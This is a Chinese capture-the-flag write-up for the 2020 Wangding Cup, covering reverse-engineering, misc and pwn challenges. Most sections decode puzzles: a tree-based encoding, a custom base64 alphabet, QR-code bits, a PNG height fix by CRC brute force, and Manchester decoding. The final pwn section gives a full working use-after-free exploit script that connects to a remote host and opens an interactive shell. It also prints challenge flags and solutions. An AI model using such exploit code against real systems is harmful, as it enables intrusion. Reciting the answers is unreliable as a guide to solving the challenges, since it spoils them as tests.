2020第二届网鼎杯 朱雀组部分writeup

Re

tree

这题有个神奇的树(有点像哈弗曼树),叶子是b-z的字母
用od动态运行一下,把树画了出来

在这里插入图片描述
我们的输入会控制左走还是右走,48(‘0’)是左,49(‘1’)是右,而这个实际上是把数字转化为长度为4的01字符串
在这里插入图片描述
最后我们要弄出这个字符串:zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx
在这里插入图片描述
根据字符串反推出48和49的集合

target = 'zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx'
tree = {}
tree['z'] = [49,48,49,48]
tree['v'] = [49,49,49,49]
tree['j'] = [48,49,48]
tree['y'] = [48,48,48,48]
tree['o'] = [49,49,49,48,48]
tree['s'] = [49,48,48]
tree['g'] = [48,48,49,48]
tree['n'] = [49,48,49,49]
tree['k'] = [48,49,49,49,49]
tree['b'] = [48,48,48,49,48]
tree['p'] = [48,49,49,48,49]
tree['d'] = [48,49,49,49,48,49,48]
tree['m'] = [49,49,49,48,49,49]
tree['x'] = [48,49,49,49,48,48]
tar2num = []
ans1 = ''
for i in range(len(target)):
	tmp = tree[target[i]]
	for num in tmp:
		tar2num.append(num)
		ans1 += chr(num)

print len(tar2num)
print ans1

010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001

把得到的01字符串转为16进制数字
在这里插入图片描述
在这里插入图片描述

target2 = '''
a
f
a
4
1
f
c
8
5
7
4
f
1
2
4
8
1
a
8
4
9
d
7
f
7
1
2
0
f
8
9
c
'''
flag = 'flag{' + target2.replace('\n', '') + '}'
print flag

改一下格式,最后得到flag为flag{afa41fc8-574f-1248-1a84-9d7f7120f89c}

what-go

打开程序,用findcrypt看一下,发现一张BASE64的表
在这里插入图片描述
程序在main中读取用户输入之后,会进行一个encode操作,然后进行一个比较
在这里插入图片描述
进入到encode函数,发现把一个字符串当做参数给了一个base64encoding的东西,怀疑是替换了base64加密表
在这里插入图片描述
在这里插入图片描述
在百度上搜到一个base64加密脚本,然后替换了加密表,对字符nRKKAHzMrQzaqQzKpPHClX进行解密

# coding:utf8
import string
import base64

# 编码用64位数组 因为是转换为6个字节的字符 所以64位就够了
letters = 'XYZFGHI2+/Jhi345jklmEnopuvwqrABCDKL6789abMNWcdefgstOPQRSTUVxyz01'

def my_base64_encodestring(input_str):
    # 对每一个字节取ascii数值或unicode数值,然后转换为2进制
    str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
                      for i in input_str]
    output_str = ''
    # 不够3的整数倍 补齐所需要的次数
    equal_num = 0
    while str_ascii_list:
        temp_list = str_ascii_list[:3]
        if len(temp_list) != 3:
            while len(temp_list) < 3:
                equal_num += 1
                temp_list += ['0'*8]
        temp_str = ''.join(temp_list)
        # 三个8字节的二进制 转换为4个6字节的二进制
        temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
        # 二进制转为10进制
        temp_str_list = [int(x, 2) for x in temp_str_list]
        # 判断是否为补齐的字符 做相应的处理
        if equal_num:
            temp_str_list = temp_str_list[0:4-equal_num]
        output_str += ''.join([letters[x] for x in temp_str_list])
        str_ascii_list = str_ascii_list[3:]
    output_str = output_str + '=' * equal_num
    #print(output_str)
    return output_str

def my_base64_decodestring(input_str):
    # 对每一个字节取索引,然后转换为2进制
    str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b', ''))
                      for i in input_str if i != '=']
    print str_ascii_list
    output_str = ''
    equal_num = input_str.count('=')
    while str_ascii_list:
        temp_list = str_ascii_list[:4]
        temp_str = ''.join(temp_list)
        # 补够8位
        if len(temp_str) % 8 != 0:
            temp_str = temp_str.ljust(24, '0')
        # 4个6字节的二进制  转换  为三个8字节的二进制 
        temp_str_list = [temp_str[x:x+8] for x in [0, 8, 16]]
        # 二进制转为10进制
        temp_str_list = [int(x, 2) for x in temp_str_list if x]
        output_str += ''.join([chr(x) for x in temp_str_list])
        str_ascii_list = str_ascii_list[4:]
    #print(output_str)
    return output_str

if __name__ == "__main__":
    #input_str = 'What_is_go_a_A_H'
    #res = my_base64_encodestring(input_str)
    input_str = 'nRKKAHzMrQzaqQzKpPHClX'
    res =  my_base64_decodestring(input_str)
    print res, len(res)
    pass

解密结果为:What_is_go_a_A_H
输入即可获得flag
在这里插入图片描述

Misc

QRcode

给了一堆二维码图片,一共576张,扫了前几个分别是zero,one,zero,one猜测每张图片是一个二进制位
在这里插入图片描述
百度了一个提取QRcode的python脚本,修改了一下

#coding:utf-8
import os
import logging
from PIL import Image
import zxing    #导入解析包
import random

logger = logging.getLogger(__name__)    #记录数据

if not logger.handlers:
    logging.basicConfig(level = logging.INFO)

DEBUG = (logging.getLevelName(logger.getEffectiveLevel()) == 'DEBUG')   #记录调式过程

# 在当前目录生成临时文件,规避java的路径问题
def ocr_qrcode_zxing(filename):
    img = Image.open(filename)
    ran = int(random.random() * 100000)     #设置随机数据的大小
    img.save('%s%s.png' % (os.path.basename(filename).split('.')[0], ran))
    zx = zxing.BarCodeReader()      #调用zxing二维码读取包
    data = ''
    zxdata = zx.decode('%s%s.png' % (os.path.basename(filename).split('.')[0], ran))    #图片解码

# 删除临时文件
    os.remove('%s%s.png' % (os.path.basename(filename).split('.')[0], ran))
    
    if zxdata:
        logger.debug(u'zxing识别二维码:%s,内容: %s' % (filename, zxdata))
        data = zxdata
    else:
        logger.error(u'识别zxing二维码出错:%s' % (filename))
        img.save('%s-zxing.png' % filename)
    return data     #返回记录的内容

if __name__ == '__main__':
    ans = ''
    for i in range(1, 577):
        filename = r'/root/ctf/misc/QRcode/' + str(i) + '.png'
        # zxing二维码识别
        ltext = ocr_qrcode_zxing(filename)  #将图片文件里的信息转码放到ltext里面
        data = ltext.parsed
        if data == 'zero':
            ans += '0'
        elif data == 'one':
            ans += '1'
        else:
            ans += ' '
    #logger.info(u'[%s]Zxing二维码识别:[%s]!!!' % (filename, ltext))  #记录文本信息
    
    #print(ltext)    #打印出二维码名字
    print(ans)

把得到的01转为字符串,得到

扫描二维码关注公众号,回复: 11270432 查看本文章

U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa

根据题目提示,画出九宫格

4 3 8
9 5 1
2 7 6

对角线为245568

在线解密

去解密,一个个尝试,最后raddit成功,得到flag:
在这里插入图片描述

key

匙.png放入Kali中,打不开,怀疑被改了高度
爆破一下高度:

import os
import binascii
import struct


misc = open("key.png","rb").read()
for i in range(1024, 2048):
    data = misc[12:20] +struct.pack('>i',i)+ misc[24:29]
    crc32 = binascii.crc32(data) & 0xffffffff
    if crc32 == 0x8c25366:
        print i

得到高度为1499,即0x5DB,修改一下
在这里插入图片描述
打开发现一串数字

295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656

在这里插入图片描述
只有2569a这几个字符,怀疑是曼彻斯特编码,最后结果是差分曼彻斯特编码

#!/user/bin/env python2
# -*-coding:utf-8 -*-
def conv(s):
    return hex(int(s,2))[2:]

n=0x95965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656
flag=''
diff_man = '00'
normal = ''
bs='00'+bin(n)[2:]
#print bs


for i in range(0,len(bs),2):
    if bs[i:i+2]=='10':
        normal+='1'
    else:
        normal+='0'

ans1 = ''
ans2 = ''
for i in range(0,len(normal),8):
    tmp=normal[i:i+8][::-1]
    #tmp = normal[i:i+8]
    ans1+=conv(tmp[:4])
    ans1+=conv(tmp[4:])


for i in range(1, len(bs)-1, 2):
    if bs[i:i+2]=='11' or bs[i:i+2]=='00':
        diff_man+='1'
    else:
        diff_man+='0'
ans3 = ''
for i in range(0,len(diff_man),8):
    tmp=diff_man[i:i+8][::-1]
    #tmp = normal[i:i+8]
    ans3+=conv(tmp[:4])
    ans3+=conv(tmp[4:])

print normal
print diff_man
passwd = ''
for i in range(0,len(diff_man),8):
    tmp = diff_man[i:i+8]
    passwd += chr(int(tmp, 2))

print passwd

得到akura_Love_Strawberry,感觉少了个S,补上后是Sakura_Love_Strawberry
在这里插入图片描述
用Binwalk提取出锁.png中的压缩包,用上面的密码解密得到flag

Pwn

魔法房间

这题是hitcontraing的原题,就是改了一下交互的字符串
直接UAF改函数指针然后show就行

from pwn import *

#menu = "Your choice :"
def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("magic cost ?:")
	r.sendline(str(size))
	print r.recvuntil("name :")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("index :")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("index :")
	r.sendline(str(index))

r = remote("59.110.243.101", 54621)

elf = ELF('./magic')

system = 0x400A0D


add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p64(system)*2
add(0x10, payload)
show(0)
r.interactive()


猜你喜欢

转载自blog.csdn.net/weixin_44145820/article/details/106173657